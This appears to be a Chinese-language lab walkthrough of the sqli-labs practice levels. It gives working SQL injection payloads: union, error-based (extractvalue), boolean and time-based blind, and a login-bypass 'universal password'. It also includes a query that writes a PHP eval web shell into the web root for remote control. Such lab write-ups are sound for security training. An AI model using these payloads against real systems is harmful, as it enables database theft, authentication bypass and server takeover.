导致错误:get注入单引号未过滤
' union select 1,2,database() --+
' union select 1,2,table_name from information_schema.TABLES where table_schema='security' --+
' union select 1,2,group_concat(column_name) from information_schema.COLUMNS//注即group_concat()即返回的是拼接了的参数状况特点
首先判断是字符类型还是整型
还是和第一关一样,加’,发觉回显的是’’
如 利用and 1=2进行构造可回显的页面即可进行注入了(其余注入与第一题同,这里就不演示了)
老规矩先判断是不是整型注入,发觉and 1=1与and 1=2回显的结果同
于是’注入开始
发觉出现这种页面
即分析出闭合的方法为’)‘模式
故要构造使其配对进而仅溢出一个’
所以这里注入为
进而使)’)配对,溢出’
然后剩下的注入模式同第一题
老规矩
先判断是否是整型注入
然后判断是否是单引号字符型注入
发觉无区别(因此排除单引号注入)
又考虑双引号注入
"
发觉又是上题一样的变异,于是构造溢出就好了
剩下的方式与第一题模式相同
老规矩,先判断是什么类型的
经过判断后发觉是单引号的字符型注入
但不具有显位
如图
遇到这类确定了有注入点,但没有报错,
然后一般考虑三种情况
报错型注入,布尔盲注,时间延迟注入,(就是通过给你显示延迟表示你输入的对不对的一种形式)
对于此类典型就是if语句构造条件,sleep()进行回显进而判断是否满足条件获取
爆库长的payload
?id=1' and if(length(database())=8,sleep(5),1)--+
暴库名
?id=1' and if(left(database(),1)='s',sleep(5),1)--+//即截取database的字符数进行对比判断是否是进而进行延迟注入状况特点
爆表名
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
爆列名
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
爆值
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
②布尔型注入(特点:正确会回显,错误没有回显)
加1的值进行判断即可
' and left((select database()),1)>'t' --+//即利用二分法判断值是否对,代确定数据库表与列名类
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users
爆列名
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+
最后爆用户名
?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
最后对于这几类注入的,个人建议直接sqlmap完事
与上一题唯一不一样的是双字符型的,即将单引号改为双引号就好了
排除掉整型注入后,利用’ 进行注入
发觉有错误,但在这里无法判断是什么类型的
于是考虑尝试经典的几个方式
')
‘))
"
")
"))
最后判断出是’))
因为这里要写文件进去,所以要获取路径
在这一关想了很多办法都获取不到路径,于是回到第二关去获取了下路径
获取到路径如下
写命令
ID:1 ')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\Less-7\\tt.php"--+
写入后在用蚁剑或者菜刀连接数据库就好了
老规矩测是什么注入
但发觉’ 是这个样子的(对于单引号爆的是其他页面类与and 1=2同理,一样可判断是’字符型注入)
因为回显的这类界面,因此就考虑 布尔,延时注入
根据三种注入的特性
构造语句进一步判断即可
发觉构造and1=1 回显,and 1=2 不回显
(于是确定下来是布尔型注入)
然后接下来就疯狂爆字段,爆数据库名
爆数据库方法
?id=1' and left((select database()),1)='s' --+//注意对于布尔注入,因为是利用反馈进行代判断的,所以在布尔注入中用的是and,而不是union
与前面的注入不一样的是这类注入
老规矩先排除整型注入后
然后测试字符型注入
’ 然后惊讶的发觉也没有任何回显
难道没有注入点?
不会吧不会吧
思考了下这几个特殊注入里面 有个时间盲注 跟这类的回显是一样的
于是考虑测试下是不是基于时间的盲注
发觉严重的延时
于是又回到了愉快的时间盲注中,方法与第五题的同
这次这个是’’ 的时间延时注入,跟上题同,只是把’改成’'就好了
因为是post注入,所以自己选择直接用burp改包(用习惯了)
然后发觉了一个坑,经过研究后解决了
那就是firefox抓不到localhost的包
最后发觉把localhost改成自己的ip就好了
然后老规矩
在这里说一句对于post尤其是这类输入框这类注入
一般是很少存在整型注入的
如果你去测,你会发觉结果是这样的
所以在这里测试后,用’发现是单引号字符型
方法一:(报错注入)
然后在这里先介绍一种报错注入典型用到的函数
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
例如
(extractvalue(‘anything’,’/x/xx’))
然后在这里说一下,对于post框这类,当存在注入点后
可以试一下可否存储型注入
利用下面的语句判断
uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登陆
uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //不能登陆
即可以考虑利用存储报错型注入方式
爆库
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
爆表
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit
接下来同上
然后其实get注入也可以利用这种方式
方法二:(联合注入)
0'union select 1,database() --+//如代码和基本的注入一样,一定也要给的是错误的页面,然后使其具有反馈,因此这类unmae=0,当然改passwd也行
老规矩
先是排除整型,然后’发觉没反应
不会吧不会吧,不会又是布尔或者延时吧
然后试了下 排除了布尔和延时型
那就只能考虑是报错型了
然后改成常见的语句(在这里说一句,其实一般对于没有反应这种,是先判断是不是存储报错型后再去考虑布尔和延时)
然后"发觉
然后确定了是"的,但是根据反馈回来的错误发觉是
")类型的(即将其原来的闭合语句溢出出去)
然后联合查询方式代走人
给大家弄一个好玩的
就是在这里通过观察后发觉,可根据报错回来的语句
构造万能密码
但前提账号必须是正确的
如当前的账号 admin
所以可以是admin")#(对于登录类一般用#这个注释符)
万能密码登录成功
老规矩判断后
得到为’)注入
方法1:
因为有报错
所以可以考虑利用报错状况进行注入
因此可以像上题一样联合语句得出
方法2:
也可以直接时间盲注方式解决
uname=admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit
在排除了整型注入后
用进行注入,发觉没有回旋
于是用"
发觉有报错了
然后–+注释发觉又没有了
然后考虑在密码处注入后发觉报错的语句状况特点(即看别人的文章学到的,所以相对而言在密码处构造语句更容易爆出注入的漏洞)
发觉内容被放到了双引号中,意味着注释符不可用
所以这里就要绕过有注释符的注入方式
(意味着联合注入的方法在这题不可行)
这里就直接采用报错型注入方式
在concat语句中进行构造即可
uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and " //语句构造方法 注入符号" and ex() and"
输入没有任何的回显,而且也排除了所有字符型报错注入因此考虑时间盲注与布尔型
方法1:时间延迟型
测试代码
uname=admin' and sleep(5) --+
爆数据的代码
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
方法2:布尔型,关于这种怎么用,这里就不说了
和上一题差不多
将’改成")怎么判断出来的,前面有关于判断类型的方法
在这里在说一遍,基于’的回显页面和’ --+的回显页面联合判断出是什么类型的注入